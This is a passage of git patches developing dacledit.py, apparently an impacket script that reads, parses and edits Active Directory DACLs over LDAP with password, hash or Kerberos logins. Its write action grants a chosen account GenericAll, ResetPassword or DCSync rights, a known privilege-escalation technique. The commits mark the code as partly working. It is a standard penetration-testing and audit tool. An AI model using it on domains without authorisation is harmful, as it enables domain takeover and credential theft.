auto_bind=True) + + return ldap_server, ldap_session + + +def init_ldap_session(args, domain, username, password, lmhash, nthash): + if args.k: + target = get_machine_name(args, domain) + else: + if args.dc_ip is not None: + target = args.dc_ip + else: + target = domain + + if args.use_ldaps is True: + try: + return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, lmhash, nthash) + except ldap3.core.exceptions.LDAPSocketOpenError: + return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, lmhash, nthash) + else: + return init_ldap_connection(target, None, args, domain, username, password, lmhash, nthash) + + +def main(): + print(version.BANNER) + args = parse_args() + init_logger(args) + + if args.action == 'write' and args.delegate_from is None: + logging.critical('`-delegate-from` should be specified when using `-action write` !') + sys.exit(1) + + domain, username, password, lmhash, nthash = parse_identity(args) + if len(nthash) > 0 and lmhash == "": + lmhash = "aad3b435b51404eeaad3b435b51404ee" + + try: + ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash) + dacledit = DACLedit(ldap_server, ldap_session, args.target_account) + if args.action == 'read': + dacledit.read() + elif args.action == 'write': + dacledit.write(args.controlled_account, args.rights, args.rights_guid) + elif args.action == 'remove': + dacledit.remove(args.controlled_account, args.rights, args.rights_guid) + elif args.action == 'flush': + dacledit.flush() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + traceback.print_exc() + logging.error(str(e)) + + +if __name__ == '__main__': + main() From c262752e9ade02707843f1eba4b62107485d62eb Mon Sep 17 00:00:00 2001 From: Shutdown Date: Thu, 31 Mar 2022 20:35:33 +0200 Subject: [PATCH 099/152] adding base for DACL parsing --- examples/dacledit.py | 388 +++++++++++++++++++++++++++---------------- 1 file changed, 245 insertions(+), 143 deletions(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index ba3ae7dbe7..b29276dcff 100644 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -41,148 +41,41 @@ class RIGHTS_GUID(Enum): WRITE_MEMBERS = "bf9679c0-0de6-11d0-a285-00aa003049e2" RESET_PASSWORD = "00299570-246d-11d0-a768-00aa006e0529" -def get_machine_name(args, domain): - if args.dc_ip is not None: - s = SMBConnection(args.dc_ip, args.dc_ip) - else: - s = SMBConnection(domain, domain) - try: - s.login('', '') - except Exception: - if s.getServerName() == '': - raise Exception('Error while anonymous logging into %s' % domain) - else: - s.logoff() - return s.getServerName() - - -def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, - TGT=None, TGS=None, useCache=True): - from pyasn1.codec.ber import encoder, decoder - from pyasn1.type.univ import noValue - """ - logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. - :param string user: username - :param string password: password for the user - :param string domain: domain where the account is valid for (required) - :param string lmhash: LMHASH used to authenticate using hashes (password is not used) - :param string nthash: NTHASH used to authenticate using hashes (password is not used) - :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication - :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) - :param struct TGT: If there's a TGT available, send the structure here and it will be used - :param struct TGS: same for TGS. See smb3.py for the format - :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False - :return: True, raises an Exception if error. - """ - - if lmhash != '' or nthash != '': - if len(lmhash) % 2: - lmhash = '0' + lmhash - if len(nthash) % 2: - nthash = '0' + nthash - try: # just in case they were converted already - lmhash = unhexlify(lmhash) - nthash = unhexlify(nthash) - except TypeError: - pass - - # Importing down here so pyasn1 is not required if kerberos is not used. - from impacket.krb5.ccache import CCache - from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set - from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS - from impacket.krb5 import constants - from impacket.krb5.types import Principal, KerberosTime, Ticket - import datetime - - if TGT is not None or TGS is not None: - useCache = False - - target = 'ldap/%s' % target - if useCache: - domain, user, TGT, TGS = CCache.parseFile(domain, user, target) - - # First of all, we need to get a TGT for the user - userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - if TGT is None: - if TGS is None: - tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, - aesKey, kdcHost) - else: - tgt = TGT['KDC_REP'] - cipher = TGT['cipher'] - sessionKey = TGT['sessionKey'] - - if TGS is None: - serverName = Principal(target, type=constants.PrincipalNameType.NT_SRV_INST.value) - tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, - sessionKey) - else: - tgs = TGS['KDC_REP'] - cipher = TGS['cipher'] - sessionKey = TGS['sessionKey'] - - # Let's build a NegTokenInit with a Kerberos REQ_AP - - blob = SPNEGO_NegTokenInit() - - # Kerberos - blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] - - # Let's extract the ticket from the TGS - tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] - ticket = Ticket() - ticket.from_asn1(tgs['ticket']) - - # Now let's build the AP_REQ - apReq = AP_REQ() - apReq['pvno'] = 5 - apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) - - opts = [] - apReq['ap-options'] = constants.encodeFlags(opts) - seq_set(apReq, 'ticket', ticket.to_asn1) - - authenticator = Authenticator() - authenticator['authenticator-vno'] = 5 - authenticator['crealm'] = domain - seq_set(authenticator, 'cname', userName.components_to_asn1) - now = datetime.datetime.utcnow() - - authenticator['cusec'] = now.microsecond - authenticator['ctime'] = KerberosTime.to_asn1(now) - - encodedAuthenticator = encoder.encode(authenticator) - - # Key Usage 11 - # AP-REQ Authenticator (includes application authenticator - # subkey), encrypted with the application session key - # (Section 5.5.1) - encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) - - apReq['authenticator'] = noValue - apReq['authenticator']['etype'] = cipher.enctype - apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator - - blob['MechToken'] = encoder.encode(apReq) - - request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', - blob.getData()) - - # Done with the Kerberos saga, now let's get into LDAP - if connection.closed: # try to open connection if closed - connection.open(read_server_info=False) - - connection.sasl_in_progress = True - response = connection.post_send_single_response(connection.send('bindRequest', request, None)) - connection.sasl_in_progress = False - if response[0]['result'] != 0: - raise Exception(response) - - connection.bound = True - - return True - +class ACE_FLAGS(Enum): + CONTAINER_INHERIT_ACE = ldaptypes.ACE.CONTAINER_INHERIT_ACE + FAILED_ACCESS_ACE_FLAG = ldaptypes.ACE.FAILED_ACCESS_ACE_FLAG + INHERIT_ONLY_ACE = ldaptypes.ACE.INHERIT_ONLY_ACE + INHERITED_ACE = ldaptypes.ACE.INHERITED_ACE + NO_PROPAGATE_INHERIT_ACE = ldaptypes.ACE.NO_PROPAGATE_INHERIT_ACE + OBJECT_INHERIT_ACE = ldaptypes.ACE.OBJECT_INHERIT_ACE + SUCCESSFUL_ACCESS_ACE_FLAG = ldaptypes.ACE.SUCCESSFUL_ACCESS_ACE_FLAG + + +class ALLOWED_OBJECT_ACE_FLAGS(Enum): + ACE_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT + ACE_INHERITED_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT + +class ALLOWED_ACE_MASK_FLAGS(Enum): + GENERIC_READ = ldaptypes.ACCESS_MASK.GENERIC_READ + GENERIC_WRITE = ldaptypes.ACCESS_MASK.GENERIC_WRITE + GENERIC_EXECUTE = ldaptypes.ACCESS_MASK.GENERIC_EXECUTE + GENERIC_ALL = ldaptypes.ACCESS_MASK.GENERIC_ALL + MAXIMUM_ALLOWED = ldaptypes.ACCESS_MASK.MAXIMUM_ALLOWED + ACCESS_SYSTEM_SECURITY = ldaptypes.ACCESS_MASK.ACCESS_SYSTEM_SECURITY + SYNCHRONIZE = ldaptypes.ACCESS_MASK.SYNCHRONIZE + WRITE_OWNER = ldaptypes.ACCESS_MASK.WRITE_OWNER + WRITE_DACL = ldaptypes.ACCESS_MASK.WRITE_DACL + READ_CONTROL = ldaptypes.ACCESS_MASK.READ_CONTROL + DELETE = ldaptypes.ACCESS_MASK.DELETE + +class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum): + ADS_RIGHT_DS_CONTROL_ACCESS = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS + ADS_RIGHT_DS_CREATE_CHILD = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD + ADS_RIGHT_DS_DELETE_CHILD = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_DELETE_CHILD + ADS_RIGHT_DS_READ_PROP = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_READ_PROP + ADS_RIGHT_DS_WRITE_PROP = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP + ADS_RIGHT_DS_SELF = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_SELF # Create an ALLOW ACE with the specified sid def create_access_allowed_ace(access_mask, sid): @@ -239,8 +132,8 @@ def read(self): secDescData = self.target_principal['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) # todo we now need to pars the DACL to print an ACE type, mask, SID, rights, etc. - # for ace in secDesc['Dacl']['Data']: - # print(ace) + parsed_dacl = self.parseDACL(secDesc['Dacl']) + self.printparsedDACL(parsed_dacl) except IndexError: logging.error('Principal not found in LDAP: %s' % self.target_account) return False @@ -327,6 +220,73 @@ def get_user_info(self, samname): logging.error('User not found in LDAP: %s' % samname) return False + def parseDACL(self, dacl): + parsed_dacl = [] + logging.info("Parsing DACL") + i = 0 + for ace in dacl['Data']: + logging.debug("Parsing ACE[%d]" % i) + if ace['TypeName'] == "ACCESS_ALLOWED_ACE" or ace['TypeName'] == "ACCESS_ALLOWED_OBJECT_ACE": + parsed_ace = {} + parsed_ace['ACE Type'] = ace['TypeName'] + _ace_flags = [] + for FLAG in ACE_FLAGS: + if ace.hasFlag(FLAG.value): + _ace_flags.append(FLAG.name) + parsed_ace['ACE flags'] = ", ".join(_ace_flags) + + if ace['TypeName'] == "ACCESS_ALLOWED_ACE": + _access_mask_flags = [] + for FLAG in ALLOWED_ACE_MASK_FLAGS: + if ace['Ace']['Mask'].hasPriv(FLAG.value): + _access_mask_flags.append(FLAG.name) + parsed_ace['Mask'] = ", ".join(_access_mask_flags) + parsed_ace['Sid'] = ace['Ace']['Sid'].formatCanonical() + # todo match the SID with the object sAMAccountName ? + elif ace['TypeName'] == "ACCESS_ALLOWED_OBJECT_ACE": + _access_mask_flags = [] + for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS: + if ace['Ace']['Mask'].hasPriv(FLAG.value): + _access_mask_flags.append(FLAG.name) + parsed_ace['Mask'] = ", ".join(_access_mask_flags) + parsed_ace['Sid'] = ace['Ace']['Sid'].formatCanonical() + # todo match the SID with the object sAMAccountName ? + _object_flags = [] + for FLAG in ALLOWED_OBJECT_ACE_FLAGS: + if ace['Ace'].hasFlag(FLAG.value): + _object_flags.append(FLAG.name) + parsed_ace['Object flags'] = ", ".join(_object_flags) + parsed_ace['Sid'] = ace['Ace']['Sid'].formatCanonical() + if ace['Ace']['ObjectTypeLen'] != 0: + parsed_ace['Object type'] = bin_to_string(ace['Ace']['ObjectType']) + # todo match guid with human readable right, create an Enum class for that + if ace['Ace']['InheritedObjectTypeLen'] != 0: + parsed_ace['Inherited object type'] = bin_to_string(ace['Ace']['InheritedObjectType']) + # todo match guid with human readable right, create an Enum class for that + else: + logging.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace['TypeName']) + parsed_ace = {} + parsed_ace['Type'] = ace['TypeName'] + _ace_flags = [] + for FLAG in ACE_FLAGS: + if ace.hasFlag(FLAG.value): + _ace_flags.append(FLAG.name) + parsed_ace['Flags'] = ", ".join(_ace_flags) + parsed_ace['DEBUG'] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute" + parsed_dacl.append(parsed_ace) + i += 1 + return parsed_dacl + + def printparsedDACL(self, parsed_dacl): + logging.info("Printing parsed DACL") + i = 0 + for parsed_ace in parsed_dacl: + logging.info(" %-28s" % "ACE[%d] info" % i) + elements_name = list(parsed_ace.keys()) + for attribute in elements_name: + logging.info(" %-26s: %s" % (attribute, parsed_ace[attribute])) + i += 1 + def parse_args(): parser = argparse.ArgumentParser(add_help=True, description='Python editor for a principal\'s DACL.') @@ -392,6 +352,148 @@ def init_logger(args): logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) +def get_machine_name(args, domain): + if args.dc_ip is not None: + s = SMBConnection(args.dc_ip, args.dc_ip) + else: + s = SMBConnection(domain, domain) + try: + s.login('', '') + except Exception: + if s.getServerName() == '': + raise Exception('Error while anonymous logging into %s' % domain) + else: + s.logoff() + return s.getServerName() + + +def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, + TGT=None, TGS=None, useCache=True): + from pyasn1.codec.ber import encoder, decoder + from pyasn1.type.univ import noValue + """ + logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. + :param string user: username + :param string password: password for the user + :param string domain: domain where the account is valid for (required) + :param string lmhash: LMHASH used to authenticate using hashes (password is not used) + :param string nthash: NTHASH used to authenticate using hashes (password is not used) + :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication + :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) + :param struct TGT: If there's a TGT available, send the structure here and it will be used + :param struct TGS: same for TGS. See smb3.py for the format + :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False + :return: True, raises an Exception if error. + """ + + if lmhash != '' or nthash != '': + if len(lmhash) % 2: + lmhash = '0' + lmhash + if len(nthash) % 2: + nthash = '0' + nthash + try: # just in case they were converted already + lmhash = unhexlify(lmhash) + nthash = unhexlify(nthash) + except TypeError: + pass + + # Importing down here so pyasn1 is not required if kerberos is not used. + from impacket.krb5.ccache import CCache + from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set + from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS + from impacket.krb5 import constants + from impacket.krb5.types import Principal, KerberosTime, Ticket + import datetime + + if TGT is not None or TGS is not None: + useCache = False + + target = 'ldap/%s' % target + if useCache: + domain, user, TGT, TGS = CCache.parseFile(domain, user, target) + + # First of all, we need to get a TGT for the user + userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + if TGT is None: + if TGS is None: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, + aesKey, kdcHost) + else: + tgt = TGT['KDC_REP'] + cipher = TGT['cipher'] + sessionKey = TGT['sessionKey'] + + if TGS is None: + serverName = Principal(target, type=constants.PrincipalNameType.NT_SRV_INST.value) + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, + sessionKey) + else: + tgs = TGS['KDC_REP'] + cipher = TGS['cipher'] + sessionKey = TGS['sessionKey'] + + # Let's build a NegTokenInit with a Kerberos REQ_AP + + blob = SPNEGO_NegTokenInit() + + # Kerberos + blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] + + # Let's extract the ticket from the TGS + tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) + + # Now let's build the AP_REQ + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = [] + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = domain + seq_set(authenticator, 'cname', userName.components_to_asn1) + now = datetime.datetime.utcnow() + + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 11 + # AP-REQ Authenticator (includes application authenticator + # subkey), encrypted with the application session key + # (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + blob['MechToken'] = encoder.encode(apReq) + + request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', + blob.getData()) + + # Done with the Kerberos saga, now let's get into LDAP + if connection.closed: # try to open connection if closed + connection.open(read_server_info=False) + + connection.sasl_in_progress = True + response = connection.post_send_single_response(connection.send('bindRequest', request, None)) + connection.sasl_in_progress = False + if response[0]['result'] != 0: + raise Exception(response) + + connection.bound = True + + return True + + def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash): user = '%s\\%s' % (domain, username) if tls_version is not None: From f350cdca61ecb1214b457e29a65378387b405860 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Fri, 1 Apr 2022 03:07:18 +0200 Subject: [PATCH 100/152] Read Write and Remove now work partially, GenericAll issue left to deal with --- examples/dacledit.py | 335 ++++++++++++++++++++++++++++------------ impacket/msada_guids.py | 0 2 files changed, 233 insertions(+), 102 deletions(-) create mode 100644 impacket/msada_guids.py diff --git a/examples/dacledit.py b/examples/dacledit.py index b29276dcff..a6cbe29289 100644 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -11,8 +11,9 @@ # Python script for handling the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer # # Authors: -# Charlie Bromberg (@_nwodtuhs) -# @BlWasp_ +# Charlie BROMBERG (@_nwodtuhs) +# Guillaume DAUMAS (@BlWasp_) +# Lucien DOUSTALY (@Wlayzz) # import argparse @@ -29,18 +30,22 @@ from impacket import version from impacket.examples import logger, utils from impacket.ldap import ldaptypes +from impacket.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS from impacket.smbconnection import SMBConnection from impacket.spnego import SPNEGO_NegTokenInit, TypesMech from ldap3.utils.conv import escape_filter_chars from ldap3.protocol.microsoft import security_descriptor_control from impacket.uuid import string_to_bin, bin_to_string +OBJECT_TYPES_GUID = {} +OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS) +OBJECT_TYPES_GUID.update(EXTENDED_RIGHTS) + class RIGHTS_GUID(Enum): - DS_REPLICATION_GET_CHANGES = "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" - DS_REPLICATION_GET_CHANGES_ALL = "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" WRITE_MEMBERS = "bf9679c0-0de6-11d0-a285-00aa003049e2" RESET_PASSWORD = "00299570-246d-11d0-a768-00aa006e0529" - + DS_REPLICATION_GET_CHANGES = "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" + DS_REPLICATION_GET_CHANGES_ALL = "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" class ACE_FLAGS(Enum): CONTAINER_INHERIT_ACE = ldaptypes.ACE.CONTAINER_INHERIT_ACE @@ -51,7 +56,6 @@ class ACE_FLAGS(Enum): OBJECT_INHERIT_ACE = ldaptypes.ACE.OBJECT_INHERIT_ACE SUCCESSFUL_ACCESS_ACE_FLAG = ldaptypes.ACE.SUCCESSFUL_ACCESS_ACE_FLAG - class ALLOWED_OBJECT_ACE_FLAGS(Enum): ACE_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT ACE_INHERITED_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT @@ -110,14 +114,22 @@ def create_access_allowed_object_ace(privguid, sid): class DACLedit(object): """docstring for setrbcd""" - def __init__(self, ldap_server, ldap_session, target_account): + def __init__(self, ldap_server, ldap_session, args): super(DACLedit, self).__init__() self.ldap_server = ldap_server self.ldap_session = ldap_session - self.controlled_account = None - self.controlled_account_sid = None - self.target_account = target_account - self.target_principal = None + + self.target_sAMAccountName = args.target_sAMAccountName + self.target_SID = args.target_SID + self.target_DN = args.target_DN + + self.principal_sAMAccountName = args.principal_sAMAccountName + self.principal_SID = args.principal_SID + self.principal_DN = args.principal_DN + + self.rights = args.rights + self.rights_guid = args.rights_guid + logging.debug('Initializing domainDumper()') cnf = ldapdomaindump.domainDumpConfig() cnf.basepath = None @@ -126,58 +138,73 @@ def __init__(self, ldap_server, ldap_session, target_account): def read(self): # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(self.target_account), attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) + if self.target_sAMAccountName is not None: + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(self.target_sAMAccountName), attributes=['nTSecurityDescriptor'], controls=controls) + elif self.target_SID is not None: + self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % self.target_SID, attributes=['nTSecurityDescriptor'], controls=controls) + elif self.target_DN is not None: + self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % self.target_DN, attributes=['nTSecurityDescriptor'], controls=controls) try: self.target_principal = self.ldap_session.entries[0] secDescData = self.target_principal['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) - # todo we now need to pars the DACL to print an ACE type, mask, SID, rights, etc. parsed_dacl = self.parseDACL(secDesc['Dacl']) self.printparsedDACL(parsed_dacl) except IndexError: - logging.error('Principal not found in LDAP: %s' % self.target_account) + logging.error('Principal not found in LDAP') return False return - def write(self, controlled_account, rights, rights_guid): - self.controlled_account = controlled_account - result = self.get_user_info(self.controlled_account) - if not result: - logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)') - return - self.controlled_account_sid = str(result[1]) - logging.debug("Controlled account SID: %s" % self.controlled_account_sid) + def write(self): + if self.principal_SID is None: + if self.principal_sAMAccountName is not None: + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(self.principal_sAMAccountName), attributes=['objectSid']) + elif self.principal_DN is not None: + self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % self.principal_DN, attributes=['objectSid']) + try: + self.principal_SID = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) + pass + except IndexError: + logging.error('Principal not found in LDAP') + return False + logging.debug("Principal SID to write in ACE(s): %s" % self.principal_SID) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(self.target_account), attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) + if self.target_sAMAccountName is not None: + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(self.target_sAMAccountName), attributes=['objectSid', 'nTSecurityDescriptor'], controls=controls) + elif self.target_SID is not None: + self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % self.target_SID, attributes=['objectSid', 'nTSecurityDescriptor'], controls=controls) + elif self.target_DN is not None: + self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % self.target_DN, attributes=['objectSid', 'nTSecurityDescriptor'], controls=controls) try: self.target_principal = self.ldap_session.entries[0] except IndexError: - logging.error('Principal not found in LDAP: %s' % self.target_account) + logging.error('Principal not found in LDAP') return False + if self.target_SID is not None: + assert self.target_SID == self.target_principal['objectSid'].raw_values[0] + else: + self.target_SID = self.target_principal['objectSid'].raw_values[0] secDescData = self.target_principal['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) - if rights == "GenericAll" and rights_guid is None: - logging.info("Appending ACE (%s --(GENERIC_ALL)--> %s)" % (self.controlled_account_sid, self.target_account)) - # todo check if rights already there, not changing if they are - secDesc['Dacl']['Data'].append(create_access_allowed_ace(ldaptypes.ACCESS_MASK.GENERIC_ALL, self.controlled_account_sid)) - pass + if self.rights == "GenericAll" and self.rights_guid is None: + logging.info("Appending ACE (%s --(GENERIC_ALL)--> %s)" % (self.principal_SID, format_sid(self.target_SID))) + secDesc['Dacl'].aces.append(create_access_allowed_ace(ldaptypes.ACCESS_MASK.GENERIC_ALL, self.principal_SID)) else: - rights_guids = [] - if rights_guid is not None: - rights_guids = [ rights_guid ] - elif rights == "WriteMembers": - rights_guids = [ RIGHTS_GUID.WRITE_MEMBERS ] - elif rights == "ResetPassword": - rights_guids = [ RIGHTS_GUID.RESET_PASSWORD ] - elif rights == "DCSync": - rights_guids = [ RIGHTS_GUID.DS_REPLICATION_GET_CHANGES, + _rights_guids = [] + if self.rights_guid is not None: + _rights_guids = [ self.rights_guid ] + elif self.rights == "WriteMembers": + _rights_guids = [ RIGHTS_GUID.WRITE_MEMBERS ] + elif self.rights == "ResetPassword": + _rights_guids = [ RIGHTS_GUID.RESET_PASSWORD ] + elif self.rights == "DCSync": + _rights_guids = [ RIGHTS_GUID.DS_REPLICATION_GET_CHANGES, RIGHTS_GUID.DS_REPLICATION_GET_CHANGES_ALL ] - for rights_guid in rights_guids: - # todo check if rights already there, not changing if they are - logging.info("Appending ACE (%s --(%s)--> %s)" % (self.controlled_account_sid, rights_guid.name, self.target_account)) - secDesc['Dacl']['Data'].append(create_access_allowed_object_ace(rights_guid.value, self.controlled_account_sid)) + for rights_guid in _rights_guids: + logging.info("Appending ACE (%s --(%s)--> %s)" % (self.principal_SID, rights_guid.name, format_sid(self.target_SID))) + secDesc['Dacl'].aces.append(create_access_allowed_object_ace(rights_guid.value, self.principal_SID)) dn = self.target_principal.entry_dn data = secDesc.getData() self.ldap_session.modify(dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) @@ -194,9 +221,95 @@ def write(self, controlled_account, rights, rights_guid): logging.error('The server returned an error: %s', self.ldap_session.result['message']) return - def remove(self, controlled_account, rights_guid): - # todo, we need to parse a DACL - pass + def remove(self): + if self.principal_SID is None: + if self.principal_sAMAccountName is not None: + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(self.principal_sAMAccountName), attributes=['objectSid']) + elif self.principal_DN is not None: + self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % self.principal_DN, attributes=['objectSid']) + try: + self.principal_SID = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) + pass + except IndexError: + logging.error('Principal not found in LDAP') + return False + logging.debug("Principal SID to write in comparison ACE(s): %s" % self.principal_SID) + + # Set SD flags to only query for DACL + controls = security_descriptor_control(sdflags=0x04) + if self.target_sAMAccountName is not None: + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(self.target_sAMAccountName), attributes=['nTSecurityDescriptor'], controls=controls) + elif self.target_SID is not None: + self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % self.target_SID, attributes=['nTSecurityDescriptor'], controls=controls) + elif self.target_DN is not None: + self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % self.target_DN, attributes=['nTSecurityDescriptor'], controls=controls) + try: + self.target_principal = self.ldap_session.entries[0] + except IndexError: + logging.error('Principal not found in LDAP') + return False + secDescData = self.target_principal['nTSecurityDescriptor'].raw_values[0] + secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) + + compare_aces = [] + if self.rights == "GenericAll" and self.rights_guid is None: + # compare_aces.append(create_access_allowed_ace(ldaptypes.ACCESS_MASK.GENERIC_ALL, self.principal_SID)) + compare_aces.append(create_access_allowed_ace(983551, self.principal_SID)) + # todo : having issues with setting genericall ACEs, puttinf this hard value here to be able to remove a what-seems-like-genericall + pass + else: + _rights_guids = [] + if self.rights_guid is not None: + _rights_guids = [self.rights_guid] + elif self.rights == "WriteMembers": + _rights_guids = [RIGHTS_GUID.WRITE_MEMBERS] + elif self.rights == "ResetPassword": + _rights_guids = [RIGHTS_GUID.RESET_PASSWORD] + elif self.rights == "DCSync": + _rights_guids = [RIGHTS_GUID.DS_REPLICATION_GET_CHANGES, RIGHTS_GUID.DS_REPLICATION_GET_CHANGES_ALL] + for rights_guid in _rights_guids: + compare_aces.append(create_access_allowed_object_ace(rights_guid.value, self.principal_SID)) + new_dacl = [] + i = 0 + for ace in secDesc['Dacl'].aces: + logging.debug("Comparing ACE[%d]" % i) + ace_must_be_removed = False + for compare_ace in compare_aces: + if ace['AceType'] == compare_ace['AceType'] \ + and ace['AceFlags'] == compare_ace['AceFlags']\ + and ace['Ace']['Mask']['Mask'] == compare_ace['Ace']['Mask']['Mask']\ + and ace['Ace']['Sid']['Revision'] == compare_ace['Ace']['Sid']['Revision']\ + and ace['Ace']['Sid']['SubAuthorityCount'] == compare_ace['Ace']['Sid']['SubAuthorityCount']\ + and ace['Ace']['Sid']['SubAuthority'] == compare_ace['Ace']['Sid']['SubAuthority']\ + and ace['Ace']['Sid']['IdentifierAuthority']['Value'] == compare_ace['Ace']['Sid']['IdentifierAuthority']['Value']: + if 'ObjectType' in ace['Ace'].fields.keys() and 'ObjectType' in compare_ace['Ace'].fields.keys(): + if ace['Ace']['ObjectType'] == 